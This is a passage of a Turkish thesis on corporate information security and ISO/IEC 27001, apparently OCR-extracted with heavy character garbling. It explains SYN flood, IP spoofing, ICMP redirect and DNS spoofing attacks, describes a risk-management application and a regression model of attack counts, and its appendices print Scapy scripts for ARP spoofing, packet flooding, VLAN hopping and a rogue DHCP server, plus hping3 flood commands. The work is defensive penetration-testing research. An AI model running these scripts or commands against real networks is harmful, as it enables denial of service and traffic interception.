w» 192 160 [l]  Dynarmic riort Configuratiol ) samding RELEASE packst
e Source MA
Por
e siP
op Hiype i i
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7.5 SYN Flooding Atag:

Sekil 7.5’te gosterilen SYN flood saldirisinda saldirgan siirekli olarak SYN istegi
yollayarak sistemin mikro islemcisinin dolmasina ve islem yapamaz hale gelmesini

saglar. Bu DOS atak cesitlerinden bir tanesidir.

Saldirgan sahte iP lerden
syn yolluyor

==/
Saldirgan———

;

Aslida olmayan Iplere
verilen cevaplar

Sekil 7.5 SYN flood atag.

Saldirgan tarafindan sahte IP’lerden gelen SYN isteklerine karsilik SYN/ACK yollayan
sistem biitlin bu karsiliksiz cevaplar i¢in bellekte yer tutar ve belli bir siire sonra cevap
veremez hale gelir. Ayrica Resim 7.4 ve Resim 7.5’te Hping saldir1 programi

gosterilmistir.

Applications Places '

root@localhost:~# hping3 -c 166680 -d 120 d --rand-source www.sahtesite.co

Resim 7.4 Hping saldir1 programa.

Hping, sunucu ag ve giivenlik duvarlarinin testlerini yapmak icin kullanilan oldukca
kullanish bir aractir (Ozbilen 2013). Yukar1 Kali Linux iizerinde ¢alisan Hping araci ile
yapilan bir Syn flood 6rnegi var. Direkt olarak kod satir1 iizerinde birkag kiiclik kodla

saldir1 diizenlenilebiliyor. Kodda kullanilan parametrelerini agiklamak gerekirse:
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-hping3 = Uygulamanin adi.

-c 100000 = Yollanan paket sayist.

-d 120 = Yollanan paketlerin boyutlari.

-S = Sadece SYN paleti yollamak i¢in.

-w 64 = TCP pencere boyutu.

-p 21 = Hedef portu.

-flood = Paketlerin karsi cevap beklemeden yollanmasini saglayan Flood modu.
-rand-source = Kendi IP mizi gizlemek i¢in random IP kullanima.
-www.hping3testsite.com = Hedef IP adres.

XA B WD =

Yapilan saldir1 i¢in yazilan program kodlar1 Ek 5'te verilmistir.

Thu May 21, 9:32 PM

root@kali: ~

File Edit View Search Terminal Help
:~# hping3 -S -p B0 -a wv -osoft.com www.linux.com

Resim 7.5 Hping saldirisi.

7.6 IP Spoofing

Hedef sisteme saldirganin kendi IP adresini kullanmadan kimligini gizlemek i¢in bagka
bir IP ile saldirmasini saglar. Yapilan saldir1 i¢in yazilan program kodlar1 Ek 6’da

verilmistir.

7.7 ICMP Rediction

Iletimlerden sorumlu olan IP protokolii hata bildirimi yapamaz, bu nokta hata kontrol
iletisim kurulacak cihazlarin agik olup olmadigi benzeri gorevleri yerine getirir. Ayrica
ICMP bir bilgisayara diger bilgisayar, network ya da protokol ulasilabilir mi bunun
bilgisini verir. Yapilan saldir1 i¢in yazilan program kodlar1 Ek 7°de verilmistir. Resim

7.6’da ICMP atagi gosterilmistir.
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Resim 7.6 ICMP atagi.

7.8 DNS Spoofing

DNS internette isim ¢ézliimleme i¢i kullanilan DNS ve PTR kayitlari, ayrica e-postalar
icin MX kayitlarindan olugsur. URL kismina girilen bir adresin IP olarak neye denk
geldigini veren DNS sunucularidir. Recursive ve iterative olmak tizere iki ¢esit sorgu
tipi vardir. Recursive istemcinin DNS sunuculardan yaptigi sorgu, iterative ise DNS
sunucularin kendi arasinda yaptig1 sorgudur. DNS spoofing atagi yapilmadan énce ARP
poisioning saldiris1 yapilarak baslar ve kurbanin istenilen siteye ydnlendirilmesini

saglar. Yazilan program kodlar1 Ek 8’de verilmistir.
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8. ISO/IEC 27001’ E DINAMIK YAKLASIM

8.1 Gelinen Noktanmin Degerlendirilmesi

Degerlendirmeye konu olacak en 6nemli obje olan ve “risk = varlik degeri x tehdidin
gerceklesme olasiligr x tehdidin etki degeri” formiiliindeki gergeklesme orani saldirinin
gelis siklig1 olarak IPS cihazindan alinmigtir. Daha sonra formiiliin tehdidin etki degeri
kismui i¢in IPS’ ten saldirinin gergeklesmesini saglayan zararli bulundu ve bu zararlinin
etki degeri National Vulnerability Database’den 6grenilerek sisteme girilmistir. Buraya
kadar yaklagim olarak tamamen var olan tehditler iizerinden reaktif bir yaklasim yani

sistem lizerinde ger¢eklesmis olan saldirilar degerlendirilmistir.

8.2 Sistemin Statik Yapidan Kurtarilarak Dinamik Bir Sistem Hale Getirilmesi

Sistem lizerine gelen saldirilarin tespiti ve degerlendirmesi yapildiktan sonra bu noktada
potansiyel saldir1 girisimleri bulunarak gercek giivenlik saglanmaya calisilacaktir. Bu
noktada sizma testleri ve daha dnceden anlatimi yapilan zayiflik araglar1 ve kodlartyla
muhtemel riskler lizerinden degerlendirme yapilarak sonug kesin olarak ortaya ¢ikarilir.

Bu yaklasim proaktif olarak degerlendirilebilir.

8.2.1 Varhik Analizi Sonrasi Devamhiligin Saglanmasi icin Depo ve Varlik Yonetim

Program

Bilgi giivenligi yonetim sisteminin baglangi¢ ayag: olan ve en dnemli ayaklarindan biri
olan malzeme kontrol ve bunlarin giivenlik sekmesindeki pozisyonlarinin otomatik
olarak ilgili birime diigmesine yarayan bir depo kontrol programi yazildi. Programla
beraber ortaya ¢ikmis olan malzemeler verilen kisiler beraber arsiv amacli depo varlik
yonetim programina girilmistir (Anonim 2010). Daha sonra mevcut teknik servis,
sistem, ag ve yazilim gruplari i¢in ayr1 kullanicilar olusturulup kendilerini ilgilendiren
malzemeleri buradan programa giris yapmalar1 istenmistir. Béylece mevcut teknik
servis, sistem, ag ve yazilim takimlart hem kendi malzemelerini tanimis hem de yeni

giren malzeme {Ustiinde gerekli glivenlik ayarlari1 yapma sansi bulmustur (Anonim
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2010). Buradaki isleyisi farkli gruplar {izerinden 6rneklememiz gerekirse teknik servis
boliimiine gelmis bir bilgisayarin gilivenlik kontrollerini yapmak teknik servis

personelinin gorevidir.

Bu noktada bilgisayar gerekli anti viriis ve benzeri programlarin kurulup kurulmadigini
kontrol eder, ayrica daha sonraki gilivenlik sorunlar1 adina cihazin MAC adresi ve
verilen kisi bilgileri sistem iginde tutulur. ikinci bir grup yaklasimi 6rnegi olarak
network grubunun yeni bir cihaz takimi sirasinda 6rnegin bir switch takiminda bu cihaz
tizerindeki dnceden bahsedilen temel giivenlik ayarlarin1 yapmalar1 gorevleridir. Sistem
grubu yeni alman sunucu iizerine isletim sistemi kurduktan sonra bu cihazin

giincellemelerini ve antiviriis kurulumu benzeri islemlerini yapmak zorundadir.

Yazilim grubu hazir aliman bir yazilimin temel gilivenlik testlerini uygulamali,
kendilerinin yazdig1 yazilimda ise kodlamada acik testlerini yapmalidir. Biitiin bu
stireclerin bir sonraki BGYS’ye girisi yoneticinin sorumlulugundadir. Y dneticinin
tanimlanan ilk gorevi bu sistem iizerinden girilen malzemeleri kontrol ederek gerekli
birimlere sistem tizerinden gorev agmaktir. Programin varlik girig ekran1t Resim 8.1°de
gosterilmistir.

Anasayfa Cikig

Malzemeleri Gériintile

e —— Malzeme Balum

Depoya Girig EKle Teknik Servis E[

Depodan Uriin Cikig Malzeme Model

Model Ekle Masaiisti Bilgisayar E[

Kullaneilar Malzeme Adi

Islem Geri Al Seginiz E‘
Mevcut Depo Adet Bilgileri

Siralo  Malzemeld MalzemeAdi MalzemeBolum MalzemeModel MalzemeAdet

1 139 Acer Teknik Senvis Masadsti Bilgisayar

AIDATA Teknik Servis Masais

2 239 Acer Veriton M
1
2 Aopen Masaisti Bilgisayar 0

247 Dell Optiplex 380 Masadisti Bilgisayar

198 Dell optiplex 290 Masaiisti Bilgisay

Fujitsu (i3 Teknik &

Masaus

8 199 QUAKE

Masatsta Bilgisayar 2

[ Raporai |
Resim 8.1 Depo varlik yonetim programi.
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8.2.2 Kurulan Siirecte On Goriilmeyen Yeni Durumlarin Ortaya Cikip
Cikmadiginin Kontrolii icin Takip Program

Gelinen bu noktadan itibaren elde edilen degerler ve sistemin devamli olarak kontrol

altinda tutulmasi i¢in dinamik bilgi giivenligi yonetim sistemi yazildi.

(] Kullamia Girisi

Kullania Adi: & Kullama Adini Giriniz
Sifre: > sifre
Bani hatirla: |

Resim 8.2 BGYS giris ekrani.

Resim 8.2°de giris ekran1 verilen sistem ilk olarak kullanici tanimlar1 yaparak bunlarin
detay bilgilerinin alinmasiyla basliyor. Ornek olarak olusturulan sistemde yonetici,
sistem giivenlik sorumlusu, network giivenlik sorumlusu, yazilim giivenlik sorumlusu

ve temel seviyede bilgisayar giivenligi sorumlusu kullanicilar tanimlandi.

Bu noktada kisilerin detay bilgileri alindi, 6nceki boliimlerde de ifade edildigi gibi bilgi
giivenligi bir yazilim ya da belirli bir zaman siirecinde yapilan testlerden ¢ok devamlilik
ve diizenlilik gerektiren bir sistemler biitiiniidiir (Wheeler 2011). Bu yiizden kurulan
sistemde ne yonetici ne de ¢alisan bagimlilig1 olmadan sistemin her asamasinda yer alan

kisi ve uygulanan islemlerde detay alinarak kurum igerisinde gergeklesen gorev
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degisiklikleri veya tatil benzeri durumlarda sistemde zafiyet yaratilmamasina dikkat

edildi.

Kisiler eklenirken gorev tanimlamalart ve kisinin o zaman diliminde tanimlamasi
yapilan gorevde aktif olarak calisip ¢alismadigi alindi. Aktif olarak ¢alisma sorgusunda
biiyiik yapilarda olusan gorev cesitliligi ve eleman degisim oranlarindaki biiytlikliik g6z
Oniine alindi. Egitim seviyesi, konu tecriibesi, konu hakkinda bir uzmanlik sertifikasi
olup olmadig1 gibi detay sayilabilecek veriler alinarak hem personel havuzu detayh
olarak hazirlandi hem de kisilerin kisisel ve mesleki gelisimleri gozlenmeye devam

edildi. Kisilerin detayl bilgilerinin alindig1 kullanici ekran1 Resim 8.3’te gosterilmistir.

Organizasyon Iglemleri

H Is Yonetimi Genel Risk Durumu

Kullanici Bilgileri

Kullamic Bilgileri

Birim Seginiz: Bilgi Islem Daire Bagkanhd v
Kullanict Adi: kgencer
— Sifre -
Sifre: 1T

Sifre(Tekrar): 1]

Ad: Kerem

Soyad: GENCER

Kullanici Modeli: | Ydnetici -
E-Posta: keremgen(@kmu.edu.ir

1 Aktif 7

Resim 8.3 Kullanici ekrani.
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Personel havuzu olusturulduktan sonra BYGS temel 68esi olan varlik yOnetimine
gecildi. Bu kisimda daha oOnceden yazilmis olan ve kurumun biitiin bilisim
malzemelerinin giris yapildigi depo yoOnetim programu ile baglanti kurularak Resim

8.4’te gosterilen ara yiizden varliklar tanimlandi.

is Yonetimi Genel Risk Durumu

arlik Tard - Hazir Hizmet Yazilimi Varliklan -

Ogrenci Bilgi Sistemi

1klama: Proliz Yazilim

Hangi Donanim

Lzerinde Ogrenci Bilgi Sistemi Sunucusu

Calisiyor:

g;:;:; Bilgi iéiem Daire Baskani v
etkili Personel:  Sistem Sorumlusu v

Kritik: Cok Yoksek -

Gizlilik: Cok Gizli v

Hizmet Verdigi | Akademik Kadro ve Ogrenciler X

Grup:

Resim 8.4 Varlik girisi ara yiizi.

Bu tanimlamada varhiga ait kritiklik ve gizlilik bilgileri alinarak varlik degerinin

hesaplanmasi konusu gergeklestirildi.
Kullanici ve varlik tanimlamalar1 yapildiktan sonra artik sira risk tanimlamasina geldi.

Buradaki islem Resim 8.5’teki ara yiizden risk tanimlamasi yapilarak, daha sonra riskin

bir kisi sorumluluguna verilmesi olarak iki seviyede islem yapilmasi saglandi.
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M M is Yonetimi Genel Risk Durumu

B Risk Tanimlama (%]
Risk Tanimi: Network Tarama
Varlik Tara: veri v

Olasilik Degeri: 5

Etki Degen: 5
Sahibi: Network -
Konu : Onlem *
Aciklama: Network Dinlemesinin Izinsiz Olarak Yapiimasi

Frrm ie ualid

B o | x|

Resim 8.5 Risk tanimlama ara yiizii.

Birinci asamada risk tanimlamasi yapilirken girilen olasilik degeri IPS {izerinden alinan
zararlinin saldir siklig1 ya da temel bir gorevse bir, proaktif yaklasimdan bulunan yani

sizma testleri sonucu ortaya ¢ikan bir risk ise bir olarak degerlendirildi.

Yine burada girisi yapilan etki degeri lizerinde IPS tanimlamasindan gelen bir veriyse
National Vulnerability Database iizerinden aldigi puan girilerek, eger yeni bir
tanimlama ise orta deger olan bes ve sizma testleri sonucu ortaya ¢ikan bir sonug ise

yine National Vulnerability Database tizerinden aldig1 puan girildi.

Risk tanimlamanin ikinci adimi olarak da sisteme bu riskin ger¢eklesmesini dnleyici bir
kontrol eylemi girildi. Planla, uygula, kontrol et ve dnlem al iglemlerinin hepsi bu
sekilde gerceklestirilmis oldu. Sistemin kisi bagimsizlilig1 adina bu noktada yapilan
kontrol islemine ait bir dokiiman varsa bu seviye girilerek, farkli kisilerin kontrolleri

saglikli yapabilmesine olanak tanindu.
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B Risk Kontrol Tanimlama (X

S——

Kontrol Tammi:  Sistem loglannin kontrol edilmesi

Kontrol

Kerem GENCER -
Sorumlusu:
Kontrol Tura: Tespit Edici ~  Diizehici = | Onem1 -
Kontrol Sikhig: Haftada Bir Defa . |

Bos Alan Bulunmamaktadir.

B CRE

+

Resim 8.6 Risk kontrol tanimlama ara yiizii.

Bu islemler sonrasi yonetici islemleri bitmis oldu ve Resim 8.6’da risk kontrol
tanimlama ara yliziinden tanimlamalar belirtilen zaman sikliginda kontrol sorumlularina
otomatik olarak diismesi saglandi. Yonetici bu noktadan sonra iki seviyede kendi

sisteminden grafiksel raporlama bir seviyede de oransal raporlama alabilecek hale geldi.

Risk Varhk s Yonetimi Genel Risk Durumu

Risk Sahibi Birimler F Gorevier

=) Control

1620 Yunus YENIBAR
1080 2160 tarafindanbug gorevi
tamamlanmistir.

Kerem GENCER
keremgen@kmu.edu.tr

NetWork

2700
1800 3600

anr
2478 4956

1239 6195

Resim 8.7 DGBYS ana girig ekrani.
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Resim 8.7°de DGBYS ana giris ekraninin sol kosesinde bulunan network, sistem,
yazilim gruplarina ait risk oran grafikleriyle her grubun ayr1 ayr risk performansi anlik

olarak gozlenebiliyor.

- [ 1B
Varhk Is Yonetimi Genel Risk Durumu

Resim 8.8 Genel risk oran1 gosterim ekrani.

Bu kisimda da birimlerin kendi i¢ oranlamalarinin disinda genel risk oranina olan
etkileri anlik olarak Resim 8.8’de gosterilmistir. Bu grafiksel raporlamalarin yoneticiye
belirli kritiklik seviyelerinden 6nce énlem alma ve gruplarin performans ya da yeterlilik

durumlarinin anlik olarak raporlanmasi faydalarini saglamaktadir.

Is yonetimi sekmesi altinda is tanimlamas1 yapilarak verilen islere baslangic ve bitis
tarihleri konulabilir, ayn1 zamanda bu sekme altindan daha once tanimlanmis islerin
kisiler tarafindan hangi seviye yapildig1 izlenerek ayni zamanda grup igi kisisel ¢alisma

performansi gozlenebilir.
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H m is Yonetimi Genel Risk Durumu

B Yeniis Tammlama

Ismi: Ag Tarama

Aciklama : Gerekli programlar kullanilarak ag tzerindeki anomalilerin tespiti

Baslangig Tarihi:  1-6- 2015

Bitis Tarihi: |1-7-2015

Sire¢ Tard: { Temmuz 2015 ~ ) v
2 5 € P E € P ks

[ 2[5 « 5 -
67 o8 o0 o1z L |
13 14 15 16 17 18 19

20 21 22 23 24 25 26 |5-05-247
27 28 29 30 N

Bog Alan Bull

Resim 8.9Yeni is tanimlama ara yiizii.

Resim 8.9'da yer alan yeni is tanimlama ara yiiziinde isin tanimi, isin baslangi¢ ve bitis
tarihleri ile stire¢ tiirii girilerek varlik lizerinde tanimlanan riski 6nlemek amaciyla
yapilacak olan igin tanimlamasi yapilmistir. Bu noktada isin yapilma siiresi iizerinde
dikkatlice durulup isin dogasina uygun optimal bir siire belirlenmelidir. Gelinen
noktadan sonra verilen isin takibinin tam olarak yapilabilmesi ve bu siire¢te hangi
kademede olundugunun takibini yapmak icin Resim 8.10°da ara yiizii gosterilen is

stireci oransal takip ekrani olusturulmustur.

- Isin Tanimi Gorevii Personeller -

bug
hata kontrola

Gorevler

Gorev ismi Aciklama Baglama Tarihi. Bitig Tarihi Tamamlanm Tamamlanma Yuzdesi

bug hata kontrolii 2015-04-11...  2015-04-11..  2015-04-11.. 10%

Resim 8.10 Is siireci oransal takip ekran.



8.3 BGYS Sisteminin Devamliligi i¢in Olusturulan Bilgi Giivenligi Yonetim Sistemi

ve Kontrollerin Yapilmasi

Yazilan sistem ile artik isleyisinin gerceklestirilmesi siras1 geldi. Bilgi Islem Daire
Baskanlig1 lizerinden igleyis orneklenmistir. Yeni yapilan bir binada switch ihtiyact
dogmus ve depo programindan kontrol edilerek uygun modelin var oldugu bulunmustur.
Daha sonra sistem iizerinden cihazin gerekli birime kaydi yapilmig, BGYS sistem
yoneticisi tarafindan bu cihaz aktarmasi tespit edilerek konuyla alakali olan network
grubu tlizerinden is acilarak gerekli giivenlik kontrolleri secilmis ve bunlarin
bilgilendirme dokiimanlar1 sistem iizerinden ekibe yollanmistir. Bu isin ve varligin
lizerine diistiigiinii goéren network ekibi cihazi teslim alarak belirtilen temel giivenlik
ayarlarin1 yapmis daha sonra cihazin takilma isleminden sonra cihaza verilen IP dahil
gerekli doniisleri sistem {izerinden yoneticiye iletmistir. Bu uygulama sirasinda ilk anda
isin verilisi sistemde risk olarak goriilmiistir. Daha sonra cihazin almip gerekli
ayarlamalarin yapilmasiyla ekip tarafindan yiizde elli oranina getirilen is, takilma ve

gerekli bilgilerin sisteme girilmesi ile artik yiizde yiiz biterek risk olmaktan ¢ikmustir.
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9.KURUMSAL BiLGi GUVENLIGININ COKLU REGRESYON ANALIZi iLE
MODELLENMESI

Bu caligmanin amact; ¢oklu regresyon analizi yardimiyla bagimli degisken (Y) olarak
alman saldir1 sayist ile bagimsiz degiskenler (X) olarak aliman Karamanoglu
Mehmetbey Universitesinde bulunan internete baglanan cihaz sayisi, bina sayis1, rutin
kontrol sayist ve gilivenlik harcamasi arasindaki bagintiy1 belirlemek ve sonrasinda
istatistiksel sonuglar1 inceleyerek model hakkinda yorum yaparak, Karamanoglu
Mehmetbey Universitesinin kurulusundan (2009-2015) giiniimiize  kadar bilisim

altyapisina etki eden faktorleri incelemektir. Cizelge 9.1'de model 6zeti gosterilmistir.

9.1 Model Uygulamasi ve Sonuclar

Model asagidaki gibi olusturulmustur.

Y :ﬂ0+ﬂlxl +ﬂzxz +ﬂ3X3 +:B4X4

Cizelge 9.1 Model ozeti.

Model Ozeti
Model R R? R? Degisimi F Degisimi p
1 ,687% 0,472 0,472 33,498 0,00
2 ,933° 0,871 0,399 229,402 0,00
3 951°¢ 0,905 0,034 26,295 0,00

p=0,05

Model 6zeti tablosunda birinci modelde bagimsiz degiskenler olan internete baglanan
cihaz sayisi ve bina sayist modele alindiginda bu degiskenlerin bagimli degisken olan
saldirt sayisint % 47,2 oraninda acgikladigi, ikinci modelde rutin kontrol sayist modele
katildiginda bu oranin % 87,1'e ¢iktig1 ve son olarak giivenlik harcamasi bagimsiz
degiskeninin modele alinmasiyla tim modelin bagimli degisken olan saldir1 sayisi

varyansint % 90,5 oraninda acikladigi, diger bir deyisle olusturulan modelin saldiri
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sayisini % 90,5 oraninda tanimladigi goriilmiistiir. Burada en ¢ok yapilan rutin kontrol
sayisinin saldir1 sayisimt % 39,9 gibi biiylik bir oranda agikladig1 goriilmiistiir. Cizelge

9.2'de katsayilar tablosu verilmistir.

Cizelge 9.2 Katsayilar tablosu.

Model B Standart Hata T Degeri p
Constant 11224,32 673,737 16,66 0,00
Internete
Baglanan Cihaz 7,535 0,402 18,729 0,00
Sayist
1 Bina Sayisi 755,464 279,96 2,698 0,01
Rutin Kontrol -1778,949 99,437 -17,89 0,00
Sayist
Guvenlik -142,483 0,028 -5,128 0,00
Harcamasi

p=0,05

Katsayilar tablosu ise, regresyon denklemi i¢in kullanilan regresyon katsayilarini
vermektedir. Tablo da yer alan verilerden saldir1 sayisinin alabilecegi deger asagidaki

sekilde formiile edilebilir.

Saldir1 Sayis1 = 11224,32 + 7,535Internete Baglanan Cihaz Sayis1 + 755,464Bina Sayisi
- 1778,949Rutinkontrolsayist — 142,483 Giivenlik Harcamasi

Burada internete baglanan cihaz sayisi, bina sayisi, rutin kontrol sayist ve giivenlik
harcamasi olan bagimsiz degiskenlerin p = 0,00 < 0,05 oldugundan tek baslarina

bagimli degiskeni agiklamada anlamli olduklar1 gériilmektedir.

Tablodan internete baglanan cihaz sayisi ve bina sayisi ile saldir1 sayisi arasinda dogru
bir orant1 oldugu yani internete baglanan cihaz sayisi ve bina sayisi sayisi arttik¢a saldiri
sayisinda artis oldugu goriiliirken, rutin kontrol sayisi ile giivenlik harcamasi arasinda
negatif bir baglant1 oldugu yani, rutin kontrol sayisi ile giivenlik harcamasinin artmasi

durumunda saldir1 sayisinda biiyiik oranda azalis olacag goriilmektedir.

Y =11224,32+7,535X, + 755,464 X, -1778,949X, -142,483X,
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Ayrica bilisim giivenligi konusunda yapilan harcamalar sonucu saldirt sayisinin

azaldigin1 gosteren grafik Sekil 9.1'de verilmistir.

Harcama
Miktari

=—4=—Saldiri Sayisi

~#= Givenlik Harcamast

Ay Sayisi

1357 911131517192123252729313335373941434547495153555759616365676971737577

Sekil 9.1 Harcama - zaman grafigi.
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10.TARTISMA VE SONUC

Bu tez ¢alismasinin ilk boliimiinde kurumsal ve uluslararas: kabul gérmek acisindan
onemli bir referans olacagi diisiiniilerek ISO/IEC 27001 sertifikasi detayli olarak
incelenmistir. Bu kisimda temel bir giivenlik diizeni kurulurken detaylara inilerek ilk
Oonce envanter c¢alismalar1 tamamlanmistir. Bdylece elimizdeki varliklarin giivenlik
acisindan degerlendirmeleri yapilmis ve daha sonra gelecek olan varliklarin da bu

sistem igerisinde degerlendirilmesiyle sistemin devamlilig1 saglanmaigtir.

ISO/IEC 27001 sertifikasinin giderek kamu kesiminde 6nem kazandigi son devlet
uygulamalar ile goriilmiistiir. Bu sertifikanin {i¢ temel asamasindan biri olan varlik
envanteri kismi bitirilerek bilgi giivenlik sistemi yonetimi olusturulmasina geg¢ilmistir.
Bu kisimda kurumsal internet kullanim yonergesi olusturularak BGYS'ye kurumsal
gecerlilik  saglanmistir. Miidahale ekibi kurum igerisinden konusunda uzman

yetkililerden se¢ilerek gorev tanimlamalar1 yapilmistir.

Sertifika sayesinde kurulan diizenin sayisal takibinin saglanmasi ve ayrica alarm benzeri
uyarilarin var olabilmesi i¢in temel formiil olarak alinan “risk = varlik degeri x tehdidin
gerceklesme olasiligr x tehdidin olusturdugu etki” formiiliinde varlik envanteri ile varlik
degeri bolimii tamamlanmigtir. Siradaki tehdidin gerceklesme olasiliginda mevcut
yapida bulunan IPS cihazi lizerinden alinan saldir1 tespitlerinin sayilart alinmistir.
Buradaki yaklasim reaktif olarak nitelendirilmelidir. Reaktif bir yaklasimin gercek
hayatta onlem almak adina 6nemli oldugu bilinmesi ragmen konu bilgi giivenligi gibi
hata kaldirmayacak bir konu oldugu i¢in hata paymi en aza indirme adina proaktif

yaklagimlar arastirilmistir.

Giivenlik testleri konusunda cesitli kurumlarda yapilan aragtirmalarda bu yapiy1
olusturan kurumlarin digaridan hizmet alimi ile bu agig1 kapattiklar: gézlenmistir. Bilgi
giivenliginin kalbi olarak nitelendirilen bu uygulamalarin bagska kurumlar aracilig: ile
yapilip ayrica yiiksek maliyetler olusturmasi aslinda yapilan uygulamanin kagit
tizerinde kalacagi, kullanici kontroliiniin sinirli olacagi izlenimi vermistir. Bu nedenden

dolay1 sizma testleri hakkinda arastirma yapilmis, ¢ok genis ve detayli bir konu oldugu
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goriilerek tez kapsaminda network sizma testleri ve saldirilar iizerinde durulmustur. ilk
olarak saldirilar giivenlik platformlar1 tizerindeki hazir araglar ile yapilmis olup
uygulama sonucunda alinan degerler sisteme girilerek bunlarin da risk hesaplamasinda

etkili olmasi saglanmustir.

Her asamada daha profesyonel yaklasim gostermek ve ayrica istenilen testlerde istenilen
degisikliklerin yapilabilmesi amaciyla aymi test ve saldirilar kodlar {izerinden
incelenmistir. Hazir yazilimlar yerine kodlamanin sisteme 6zel yapilmasi sayesinde
otomatik, nokta atis1 ve hatta gelistirebilir bir test mekanizmasi hazirlandigi
goriilmiistiir. Onemli bir nokta olan bu kisimda aslinda hazir giivenlik araglari ile kurum
icerisinde olusturulmus olan giivenlik yapisinin isleyis ve onemi kavranmis, ancak

yeterli 6l¢iide olmadig1 goriilmiistiir.

Olusturulan yapinin sadece belli bir zamanda bu isi 6nemseyerek kurulan bir sistem ve
alman bir sertifikadan ibaret olmadigi, sistemin giinliik ¢alisma hayatinin bir parcasi
olmas1 gerektigi, yapilacak en kiigiikk hata veya umursamazlikta kotii sonuglarla
karsilagilabilecegi goriilmistiir. Yazilan BGYS yaziliminda olusturulan 6nlemler
dizisinin belli bir zamanda yapilacak olanlar1 ile zaman araliklartyla yapilacak olanlar
belirlenmis, sistem iizerinde sorumlu personele otomatik gdrev olarak atanmalari

saglanmustir.

Burada sistem yoOneticisinin hata yapmasinin 6niine ge¢ilmeye ¢alisilmistir. Gérevi alan
personelin gerekli islemleri yapma yiizdeleri sistem tiizerinden kontrol edilebilir hale
getirilmigtir. Sistem igerisinden gorevlilere gerekli rapor ve kontrol listelerinin

yollanabilecegi dosya ekleme 6zelligi eklenmistir.

IPS ve tarama sonucu bulunan zararlilarin ve saldirilar1 gergek etki degeri hesabinin
mantik ve diinya lizerinde giivenlik sistemleri {iireticileri iizerinde kabul gérmiis bir
yontem olan NVD sisteminden etki degerleri sorgulanarak ger¢ekten mantikli bir degere

ulasilmstir.

Gilivenlik unsurunun en zayif halkasi olan insan faktorii {izerinde durularak temel
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diizeyde bilgilendirme toplantilar1 yapilarak bilgi giivenligi konusunda farkindalik
saglanmistir. Kisilerden gelen gilivenlik uygulamalar1 konusundaki tepki ve siiphelerin

biraz olsun Oniine geg¢ilmistir.

Son olarak olusturulmaya calisilan dinamik yapida belirli bir bdlgenin giivenligi
saglandi, tiim olarak her nokta giivenlikten s6z edebilmek i¢in ya en kenar noktalar
liclincii seviye switchlere gecilmesi ya da bu boélgelerde kismi giivenlik denetleyicisi
sistem olusturulmas1 gerekliligi gozlenmistir. Ayrica sisteme tam olarak dinamik
diyebilmek icin parametreleri otomatik olarak almasi gerektigi anlagilmistir. Yani
saldir1 Onleyici cihazlardan gelen verilerin otomatik olarak risk hesaplamasina dahil

olmasi gerektigi gézlenmistir.

Genel degerlendirmede ¢aligmaya baslamadan Onceki sistemde giivenlik onlemlerinin
alindig1 ancak sistem kullanicilar1 tarafinda konuya gerekli 6nemin verilmedigi tespit
edilmistir. Son kullanicilarinin da kendi baslarina gelebilecek giivenlik problemlerinden
haberdar olmadiklar1 ve her tiirlii 6nlemde sistem yoneticilerini sorumlu tuttuklar
goriilmiistiir. Daha 6nceden de belirtildigi gibi bilgi giivenligi yonetim sisteminin biitiin
unsurlariyla bir biitiin oldugu bu unsurdaki bir parcadan meydana gelen bir hatanin
biitiin sistemi etkileyecegi tespit edilmistir. Ayrica kurumsal bilgi giivenligi

modellemesi yapilarak istenilen unsurlar iizerinde tahmin yapilmistir.

Kurulan sistem bilgi giivenligine dinamik bir yap1 kazandirmis, kontrol edilebilirligi
artirmig ve siireklilik konusunda da faydali olmustur. Ayrica bilgi giivenligi
modellemesi sayesinde yillik harcamalar {izerine tahmin yapilmistir. Gelinen son
noktada boyle sistemlerde en zayif halkanin insan oldugu ve insan faktorii yonetimde ne
kadar azaltilirsa sistemin o kadar basariligi olacagi tespit edilmistir. Sistemin bundan
sonraki gelistirilmesi sathasinda sisteme bilgi girisinin daha otomatik hale getirilmesi ve
bilgi unsurlart degerlendirilirken yapay Ogrenme ile daha az hata yapilabilecegi

anlagilmistir.
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EKLER

Ek 1. ARP Saldir1 Atag: Kali Linux Program Kodlar

#!/usr/bin/python

2

3 import sys

4 import time

5 from scapy.all import sendp, ARP, Ether
6

7 if len(sys.argv) < 3:

8 print sys.argv[0] + ": <target> <spoof ip>"
9 sys.exit(1)

10

11 iface = "eth0"

12 target ip = sys.argv[1]

13 fake ip = sys.argv|[2]

14

15 ethernet = Ether()

16 arp = ARP(pdst=target ip,

17 psrc=fake ip,

18 op="is-at")
19 packet = ethernet / arp
20

21 while True:
22 sendp(packet, iface=iface)

23 time.sleep(10)
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Ek 2. MAC Flooding Saldir1 Atagi Kali Linux Programi Kodlar:

#!/usr/bin/python

2

3 import sys

4 from scapy.all import *
5

8 IP(src=RandIP("*.* * *"),
9 dst=RandIP("*.*.* *")) /\

10 ICMP()

11

12 if len(sys.argv) < 2:
13 dev = "eth0"

14 else:

15 dev = sys.argv[1]
16

17 print "Flooding net with random packets on dev " + dev
18

19 sendp(packet, iface=dev, loop=1)
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Ek 3. VLAN Hopping Atag Kali Linux Program Kodlar:

1 #!/usr/bin/python

2

3 from scapy.all import *

4

5 packet = Ether(dst="c0:d3:de:ad:be:ef") / \
6 Dot1Q(vlan=1) /\

7 Dot1Q(vlan=2) /\

8 IP(dst="192.168.13.3") /\

9 ICMP()

10

11 sendp(packet)

78



Ek 4. DHCP Protokolii Atag: Kali Linux Program Kodlan

#!/usr/bin/python

2

3 import sys

4 import getopt

5 import random

6 import scapy.all as scapy

7

8 dev = "eth0"

9 gateway = None

10 nameserver = None

11 dhepserver = None

12 client net="192.168.1."

13 filter = "udp port 67"

14

15 def handle packet(packet):

16 eth = packet.getlayer(scapy.Ether)

17 ip = packet.getlayer(scapy.IP)

18 udp = packet.getlayer(scapy.UDP)

19 bootp = packet.getlayer(scapy.BOOTP)
20 dhep = packet.getlayer(scapy. DHCP)
21 dhep message type = None

22

23 if not dhcep:

24 return False

25

26 for opt in dhcp.options:

27 if opt[0] == "message-type":

28 dhcp_message type = opt[1]

29

30 # dhcp request

31 if dhcp message type == 3:

32 client_ip = client net + str(random.randint(2,254))
33

34 dhcp_ack = scapy.Ether(src=eth.dst, dst=eth.src) / \
35 scapy.IP(src=dhcpserver, dst=client ip)/\
36 scapy.UDP(sport=udp.dport,

37 dport=udp.sport) / \

38 scapy.BOOTP(op=2,

39 chaddr=eth.dst,

40 siaddr=gateway,

41 yiaddr=client_ip,

42 xid=bootp.xid) / \

43 scapy.DHCP(options=[("message-type’, 5),
44 (’requested_addr’,
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45 client_ip),

46 (’subnet_mask’,

47 °255.255.255.0°),

